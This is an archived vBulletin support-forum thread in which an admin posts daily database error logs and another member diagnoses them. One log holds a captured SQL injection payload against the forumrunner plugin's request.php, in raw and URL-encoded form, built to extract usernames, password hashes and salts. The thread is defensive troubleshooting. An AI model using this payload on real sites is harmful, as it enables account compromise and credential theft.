PDA

View Full Version : Databse Error receive daily


tanzeelniazi
10-13-2017, 02:47 PM
Hi all again here
some time i found these data base errors, i think some one trying to hack ?? m right ?
Database error in vBulletin 4.2.0:

Invalid SQL:

SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
FROM post AS post
LEFT JOIN thread AS thread USING (threadid)
WHERE postid IN (-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (userid > 10000 and userid < 12000) and(0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0 x3a,salt))))x),5,6,7,8,9,10--);

MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 5
Error Number : 1064
Request Date : Friday, October 13th 2017 @ 09:23:43 AM
Error Date : Friday, October 13th 2017 @ 09:23:43 AM
Script : http://www.xxxxxxxxx.com/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union%20select%201,2,3,(select%20(@x)%20from%20( select%20(@x:=0x00),(select%20(0)%20from%20(user)w here%20(userid%20%3E%2010000%20and%20userid%20%3C% 2012000)%20and(0x00)%20in%20(@x:=concat(@x,0x3c627 23e,username,0x3a,password,0x3a,salt))))x),5,6,7,8 ,9,10--
Referrer :
IP Address : 1**.1**.2**.**
Username : Unregistered
Classname : vB_Database_MySQLi
MySQL Version :

Mostly i receive daily these types of error

Database error in vBulletin 4.2.0:

Invalid SQL:

SELECT
count(*) as maxre
FROM tagthread
GROUP BY tagid
ORDER BY maxre DESC
LIMIT 0,1;

MySQL Error : Table 'Mysite_VB.tagthread' doesn't exist
Error Number : 1146
Request Date : Friday, October 13th 2017 @ 02:07:45 AM
Error Date : Friday, October 13th 2017 @ 02:07:46 AM
Script : http://www.xxxxxxxxxxxxxx.com/cron.php?rand=1507860459
Referrer : https://www.xxxxxxxxxxxxxx.com/forum.php
IP Address : 1**.1**.*9.1**
Username : Unregistered
Classname : vB_Database_MySQLi
MySQL Version :

--------------- Added 1507913371 at 1507913371 ---------------

Some time these daily receive with new thread id

Database error in vBulletin 4.2.0:

Invalid SQL:

SELECT
count(*) as maxre
FROM tagthread
GROUP BY tagid
ORDER BY maxre DESC
LIMIT 0,1;

MySQL Error : Table 'Mysite_VB.tagthread' doesn't exist
Error Number : 1146
Request Date : Thursday, October 12th 2017 @ 02:06:31 AM
Error Date : Thursday, October 12th 2017 @ 02:06:31 AM
Script : http://www.xxxxxxxxxxx.com/cron.php?rand=1507773989
Referrer : https://www.xxxxxxxxxxxx.com/showthread.php?64592-*****-x3&p=915921&posted=1
IP Address : 1**.**8.**.*7
Username : Unregistered
Classname : vB_Database_MySQLi
MySQL Version :

Dave
10-13-2017, 03:38 PM
First one is SQL injection, delete your forumrunner folder as soon as possible or update it right away to the latest version or your whole server can get compromised (if not already).

As for the tagthread table, I don't think this comes with the vBulletin installation by default so it's probably one of your plugins that's broken.

tanzeelniazi
10-13-2017, 04:58 PM
I remove forumrunner folder thanks bro also can you tell me which plugin is broken ?

Dave
10-13-2017, 06:34 PM
Hard to tell, go through your plugins that are related to thread tags and disable it.
Alternatively you can go to the scheduled tasks/cronjob page in the AdminCP and disable it.